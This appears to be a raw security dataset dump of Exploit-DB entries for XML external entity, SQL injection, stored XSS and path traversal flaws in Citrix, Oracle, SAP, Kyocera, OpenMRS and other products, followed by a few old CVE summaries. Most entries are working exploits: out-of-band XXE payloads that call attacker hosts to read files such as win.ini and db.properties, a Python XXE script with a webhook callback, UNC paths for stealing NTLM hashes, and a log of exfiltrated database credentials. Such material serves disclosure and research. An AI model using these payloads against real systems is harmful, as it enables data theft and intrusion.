deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47561
Description: Citrix StoreFront Server 7.15 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2019-10-30
Author: Vahagn Vardanyan

Exploit:
# Exploit Title: Citrix StoreFront Server 7.15 - XML External Entity Injection
# Date: 2019-08-28
# Exploit Author: Vahagn Vardanya
# Vendor Homepage:https://www.citrix.com/downloads/storefront/
# Software Link: https://support.citrix.com/article/CTX251988
# Version:
# Citrix StoreFront Server  earlier than 1903
# Citrix StoreFront Server 7.15 LTSR earlier than CU4 (3.12.4000)
# Citrix StoreFront Server 7.6 LTSR earlier than CU8 (3.0.8000)#
# Tested on: Windows
# Shodan query https://www.shodan.io/search?query=%2FCitrix%2FStoreWeb

# PoC

POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
Content-Type: application/vnd.citrix.requesttoken+xml
Accept: application/vnd.citrix.requesttokenresponse+xml, application/vnd.
citrix.authenticateresponse-1+xml
Accept-Language:ru,en-US;q=0.9,en;q=0.8,fr;q=0.7,hy;q=0.6,de;q=0.5,es;q=0.4,nb;q=0.3,nl;q=0.2,fi;q=0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
X-Forwarded-For: 192.168.204.1
X-Citrix-Agent: crm.
X-Citrix-AM-CredentialTypes: none, username, domain, password, newpassword,passcode, savecredentials, textcredential, webview, webview
X-Citrix-AM-LabelTypes: none, plain, heading, information, warning, error,confirmation, image
X-Citrix-IsUsingHTTPS: No
Host: 192.168.204.131
Content-Length: 331
Expect: 100-continue

<?xml version="1.0" encoding="utf-8" standalone='no'?><!DOCTYPE
requesttoken [<!ENTITY % xxe SYSTEM "http://REMOTE">%xxe; ]><requesttoken
xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken
"><for-service>a</for-service><for-service-url>http://secure-web.cisco.com/
<http://secure-web.cisco.com/1ijL9Cycthe9FsmytQkHCl1Xg9pMufEcuz0PmzFHVwkbFjSep42bW3GRBkLUxePJTdOcYeHl5hlVi95aQc-F0KUuqpBKFdx4EXJ_ppx3MY000cALA2hGugGjMX3hbmvhtPOTba7B4LnAcpuyFDLHiSlv8xyu_CzN0mhekRY51L34p4Wy9oMguR9Bj8YWAm6KxixMl1DiaZ88h4FVR0vKzHdtedNF63xO329dQAtQuVWiipK_rt4rnVWKmorTTrbp-bsdV7zUBsqjON-MZYpzagQ/http%3A%2F%2F192.168.204.146%2FCitrix%2Fstore_nameAuth%2Fauth%2Fv1%2Ftoken></for-service-url><reqtokentemplate
/><requested-lifetime>0.08:00:00</requested-lifetime></requesttoken>
Exploit-DB #47951
Description: Citrix XenMobile Server 10.8 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2020-01-22
Author: Jonas Lejon

Exploit:
# Exploit Title: Citrix XenMobile Server 10.8 - XML External Entity Injection
# Google Dork: inurl:zdm logon
# Date: 2019-11-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.citrix.com
# Software Link:
# Version: XenMobile Server 10.8 before RP2 and 10.7 before RP3
# Tested on: XenMobile
# CVE : CVE-2018-10653

#!/usr/bin/python3
##
## PoC exploit test for the security vulnerability CVE-2018-10653 in
XenMobile Server 10.8 before RP2 and 10.7 before RP3
##
## This PoC was written by Jonas Lejon 2019-11-28
<jonas.xenmobile@triop.se> https://triop.se
## Reported to Citrix 2017-10, patch released 2018-05
##

import requests
import sys
from pprint import pprint
import uuid

# Surf to https://webhook.site and copy/paste the URL below. Used for
XXE callback
WEBHOOK = "https://webhook.site/310d8cd9-ebd3-xxx-xxxx-xxxxxx/"

id = str(uuid.uuid1())

xml = '''<?xml version="1.0" encoding="UTF-8"
standalone='no'?><!DOCTYPE plist [<!ENTITY % j00t9 SYSTEM "''' +
WEBHOOK + id + '''/test.dtd">%j00t9; ]>'''

print(id)

response = requests.put(sys.argv[1] + '/zdm/ios/mdm', verify=False,
 headers=
{'User-Agent': 'MDM/1.0',
'Connection': 'close',
'Content-Type': 'application/x-apple-aspen-mdm'},
data=xml,stream=True
)
print(response.content)
print(response.text)
pprint(response)
Exploit-DB #37250
Description: HP WebInspect 10.4 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2015-06-10
Author: Jakub Palaczynski

Exploit:
# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125

1. Create website that exploits vulnerability.

1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker/?p=%payl;'>">

1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>

<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>

</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.

2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.
Exploit-DB #42028
Description: INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection
Type: webapps
Platform: xml
Date: 2017-05-17
Author: Yoroi

Exploit:
SQL injection in INFOR EAM V11.0 Build 201410 search fields (web/base/..)  via filtervalue parameter
-------------------
Assigned CVE: CVE-2017-7952

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to any page with a search or filter field in it (for example web/base/WSJOBS.xmlhttp) 
3. Make any search and intercept the request with a proxy 
4. In the intercepted request, replace the value of "filteroperator" parameter with IN.
5. The "filtervalue" become vulnerable to SQL Injection

Example:
-------------------
URL:http://<EAM_IP>/web/base/WSJOBS.xmlhttp
POST DATA: 
GRID_ID=<ID>&GRID_NAME=WSJOBS&DATASPY_ID=<ID>&USER_FUNCTION_NAME=WSJOBS&SYSTEM_FUNCTION_NAME=WSJOBS&CURRENT_TAB_NAME=LST&COMPONENT_INFO_TYPE=DATA_ONLY&filterfields=<field>&filteroperator=IN&filtervalue=<injection point>

Exploitability
-------------------
Since the SQL injection vulnerability is available for any logged users, an 
attacker needs a valid credential to exploit that vulnerability. By 
exploiting that SQL Injection the attacker could obtain any available data 
(even if they don’t belongs directly to him), eventually deleting and 
replacing data as well.

Impact
-------------------
This vulnerability allows full database access. It includes sensitive 
information that normally should be accessed by specific users.
An attacker could dump the user table, which contains usernames and 
password hashes, and proceed to bruteforcing passwords offline and could 
possibly obtain administrative credentials, or could access private files 
or personal details such as: telephone numbers, physical address and 
private assets.
Obtaining administrative credentials would allow an attacker to perform 
actions like: add or deleting users, jobs, and everything else an admin can 
do.
By having access to sensible information the attacker could eventually 
pivoting them to perform further attacks on different target assets.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
Exploit-DB #42029
Description: INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields
Type: webapps
Platform: xml
Date: 2017-05-17
Author: Yoroi

Exploit:
Stored XSS in INFOR EAM V11.0 Build 201410 via comment fields
-------------------
Assigned CVE: CVE-2017-7953

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to the jobs page
3. Click on a record and open its page
4. Go to "Comments" tab
4. Click the add new comment button
5. Insert a comment containing javascript code, e.g. <img src=fakesource onerror="alert(document.cookie)"> Fake comment here
6. Save, and after page reloading the XSS should trigger

Example:
-------------------
PoC Screenshot: https://www.dropbox.com/s/2b859x9go8v9f2l/xss.png?dl=0


Exploitability
-------------------
In EAM software user comments have read classification to every 
authenticated users. Any authenticated user could became a valid victim to 
the described attack by navigate (spontaneously or not) to the infected 
page. The comment visualization triggers injected javascript code.
On the other side any user able to write a comment could become a possible 
attacker by introducing javascript into the comment body.

Impact
-------------------
By reading browser cookies an attacker could ultimately grab administrative 
credentials having access to each available EAM action.
The vulnerability could ultimately allow an attacker to steal credential, 
leak sensitive data, trick user to download malware.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
Exploit-DB #44430
Description: KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection
Type: webapps
Platform: xml
Date: 2018-04-09
Author: LiquidWorm

Exploit:
#Vendor: KYOCERA Corporation
#Product https://global.kyocera.com
#Affected version: 3.4.0906
#
#Summary: KYOCERA Net Admin is Kyocera's unified
#device management software that uses a web-based
#platform to give network administrators easy and
#uncomplicated control to handle a fleet for up to
#10,000 devices. Tasks that used to require multiple
#programs or walking to each printer can now be
#accomplished in a single, fast and modern environment.
#
#Desc: KYOCERA Multi-Set Template Editor (part of Net
#Admin) suffers from an unauthenticated XML External Entity
#(XXE) injection vulnerability using the DTD parameter
#entities technique resulting in disclosure and retrieval
#of arbitrary data from the affected node via out-of-band
#(OOB) channel attack. The vulnerability is triggered when
#input passed to the Multi-Set Template Editor (kmmted.exe)
#called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll
#is not sanitized while parsing a 5.x Multi-Set template XML
#file.
#
#Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Apache Tomcat/8.5.15
#
#
#Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience
#                            
#
#
#Advisory ID: ZSL-2018-5459
#Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5459.php
#
#
#28.03.2018
#
#—
#
#
#Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml">
%remote;
%root;
%oob;]>


Attacker's xxe.xml:

<!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> ">


Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 -
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 -
Exploit-DB #45337
Description: NovaRad NovaPACS Diagnostics Viewer 8.5 - XML External Entity Injection (File Disclosure)
Type: webapps
Platform: xml
Date: 2018-09-06
Author: LiquidWorm

Exploit:
# Title: NovaRad NovaPACS Diagnostics Viewer 8.5 - XML External Entity Injection (File Disclosure)
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-09-07
# Vendor: NovaRad Corporation
# Product web page: https://www.novarad.net
# Affected version: 8.5.19.75 (Diagnostics Viewer, Study Browser)
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Advisory ID: ZSL-2018-5488
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5488.php
# CVE: N/A

# Desc: NovaPACS suffers from an unauthenticated XML External Entity
# (XXE) injection vulnerability using the DTD parameter entities technique
# resulting in disclosure and retrieval of arbitrary data from the affected
# node via out-of-band (OOB) channel attack. The vulnerability is triggered
# when importing XML format preferences within the settings submenu.

# PoC
# Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://10.0.1.230:8080/xxe.xml">
%remote;
%root;
%oob;]>

# Attacker's xxe.xml:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://10.0.1.230:8080/?%payload;'> ">

Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /xxe.xml HTTP/1.1" 200 -
10.0.1.230 - - [28/Aug/2018 16:27:48] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo%0D%0A[FIX%20DMACS]%0D%0AMinAfterStartup=0 HTTP/1.1" 200 -
Exploit-DB #38899
Description: OpenMRS 2.3 (1.11.4) - Local File Disclosure
Type: webapps
Platform: xml
Date: 2015-12-08
Author: LiquidWorm

Exploit:
OpenMRS 2.3 (1.11.4) Local File Disclosure Vulnerability


Vendor: OpenMRS Inc.
Product web page: http://www.openmrs.org
Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
                  OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

Summary: OpenMRS is an application which enables design
of a customized medical records system with no programming
knowledge (although medical and systems analysis knowledge
is required). It is a common framework upon which medical
informatics efforts in developing countries can be built.

Desc: OpenMRS suffers from a file disclosure vulnerability
when input passed thru the 'url' parameter to viewPortlet.htm
script is not properly verified before being used to include
files. This can be exploited to include files from local
resources with directory traversal attacks.


Tested on: Ubuntu 12.04.5 LTS
           Apache Tomcat/7.0.26
           Apache Tomcat/6.0.36
           Apache Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5286
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5286.php

Vendor: https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868


02.11.2015

--


http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportDesignPortlet&url=..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx%3d
http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportProcessorPortlet&url=..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx
http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportDesignPortlet&url=..%2f..%2f..%2fMETA-INF%2fmaven%2forg.openmrs.web%2fopenmrs-webapp%2fpom.xml%3bx%3d
Exploit-DB #40590
Description: Oracle BI Publisher 11.1.1.6.0/11.1.1.7.0/11.1.1.9.0/12.2.1.0.0 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2016-10-20
Author: Jakub Palaczynski

Exploit:
# Exploit Title: Oracle BI Publisher (formerly XML Publisher) - XML External Entity Injection w/o authentication
# Date: 20\10\2016
# Exploit Author: Jakub Palaczynski
# CVE : CVE-2016-3473
# Vendor Homepage: https://www.oracle.com/
# Version: 11.1.1.6.0, 11.1.1.7.0, 11.1.1.9.0, 12.2.1.0.0
# Info: Previous versions may also be vulnerable.
# Google Dork: inurl:xmlpserver or intitle:"Oracle BI Publisher Enterprise Login"

1. Vulnerable SOAP Action: replyToXML

POST /xmlpserver/services/ServiceGateway HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: #replyToXML
Host: vulnerablehost
Content-Length: 630

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:replyToXML soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>
      </ser:replyToXML>
   </soapenv:Body>
</soapenv:Envelope>

------------------------------------------------

2. Vulnerable SOAP Action: replyToXMLWithContext

POST /xmlpserver/services/ServiceGateway HTTP/1.1

Content-Type: text/xml;charset=UTF-8

SOAPAction: #replyToXMLWithContext

Host: vulnerablehost

Content-Length: 646



<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">

   <soapenv:Header/>

   <soapenv:Body>

      <ser:replyToXMLWithContext soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>

      </ser:replyToXMLWithContext>

   </soapenv:Body>

</soapenv:Envelope>
Exploit-DB #38261
Description: SAP NetWeaver < 7.01 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2015-09-22
Author: Lukasz Miedzinski

Exploit:
Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241

Affected software :
===================

SAP Netwear : <7.01

Vendor advisories (only for customers):
===================
External ID :[PII_REDACTED]
Title:  XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P


Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System

Administration->XML Content and Actions -> Import section.


Vulnerabilities :
*****************

XML External Entity Injection :
======================


Example show how pentester is able to get NTLM hash of application's user.

Content of file (PoC) :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>

When pentester has metasploit smb_capture module run, then application
will contatc him and provide

NTLM hash of user.


Contact :
=========

Lukasz[dot]Miedzinski[at]gmail[dot]com
Exploit-DB #46000
Description: SDL Web Content Manager 8.5.0 - XML External Entity Injection
Type: webapps
Platform: xml
Date: 2018-12-18
Author: Ahmed Elhady Mohamed

Exploit:
######################
# Author Information #
######################
Author : Ahmed Elhady Mohamed
twitter : @Ahmed__ELhady
Company : Canon Security
Date : 25/11/2018
########################
# Software Information #
########################
Affected Software : SDL Web Content Manager
Version: Build 8.5.0
Vendor: SDL Tridion
Software website : https://www.sdl.com
CVE Number: CVE-2018-19371
###############
# Description #
###############
SDL Web Content Manager build 8.5.0 is vulnerable to XXE vulnerability in SaveUserSettings web service. SaveUserSettings web service takes XML values as a parameter. The webservices allows and accepts XML external entity which allows an attacker to read sensitive files from the server. Moreover it can be used to perform network port scanning to internal network.
#################
# Exploit Steps #
#################
1- Access the application with any user account
2- it will ask you to choose your language preferences
3-the application sent a request to SaveUserSettings web service with XML content in the request body.
4- open a port listener on the attacker server using netcat tool as the following: nc -lvp 80
5- intercept the request using Burpsuite proxy tool
6- inject the following payload in the beginning of the XML value.
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM \"http://attackerServer/xxe1.dtd\">%asd;%c;]>
<cdl>&rrr;</cdl>
7- The injected payload allows the server to fetch the xxe1.dtd resource from the hacker server.
8- send the request to the server.
9- The application server will connect to the attacker server
CVE: CVE-2002-1594
Published: 2002-01-02
Description: Buffer overflow in (1) grpck and (2) pwck, if installed setuid on a system as recommended in some AIX documentation, may allow local users to gain privileges via a long command line argument.
CVSS Score: 7.2 (HIGH)
References: http://marc.info/?l=vuln-dev&m=[PII_REDACTED]6822&w=2; http://marc.info/?l=vulnwatch&m=[PII_REDACTED]0794&w=2; http://publib.boulder.ibm.com/infocenter/pseries/topic/com.ibm.aix.doc/cmds/aixcmds2/grpck.htm
CVE: CVE-2002-1595
Published: 2002-01-09
Description: Cisco SN 5420 Storage Router 1.1(5) and earlier allows attackers to read configuration files without authorization.
CVSS Score: 5.0 (MEDIUM)
References: http://www.cisco.com/warp/public/707/SN-multiple-pub.shtml; http://www.kb.cert.org/vuls/id/833459; http://www.securityfocus.com/bid/3832
CVE: CVE-2002-1596
Published: 2002-01-09
Description: Cisco SN 5420 Storage Router 1.1(5) and earlier allows remote attackers to cause a denial of service (router crash) via an HTTP request with large headers.
CVSS Score: 5.0 (MEDIUM)
References: http://www.cisco.com/warp/public/707/SN-multiple-pub.shtml; http://www.kb.cert.org/vuls/id/968187; http://www.securityfocus.com/bid/3834
CVE: CVE-2002-1597
Published: 2002-01-09
Description: Cisco SN 5420 Storage Router 1.1(5) and earlier allows remote attackers to cause a denial of service (halt) via a fragmented packet to the Gigabit interface.
CVSS Score: 5.0 (MEDIUM)
References: http://www.cisco.com/warp/public/707/SN-multiple-pub.shtml; http://www.kb.cert.org/vuls/id/855195; http://www.securityfocus.com/bid/3833
CVE: CVE-2002-1600
Published: 2002-01-09
Description: Directory traversal vulnerability in Mike Spice's My Classifieds (classifieds.cgi) before 1.3 allows remote attackers to overwrite arbitrary files via the category parameter.
CVSS Score: 5.0 (MEDIUM)
References: http://securitytracker.com/id?1003255; http://www.iss.net/security_center/static/7967.php; http://www.kb.cert.org/vuls/id/181907
CVE: CVE-2003-0061
Published: 2002-01-11
Description: Buffer overflow in passwd for HP UX B.10.20 allows local users to execute arbitrary commands with root privileges via a long LANG environment variable.
CVSS Score: 7.2 (HIGH)
References: http://www.idefense.com/application/poi/display?id=87&type=vulnerabilities&flashstatus=true; http://www.idefense.com/application/poi/display?id=87&type=vulnerabilities&flashstatus=true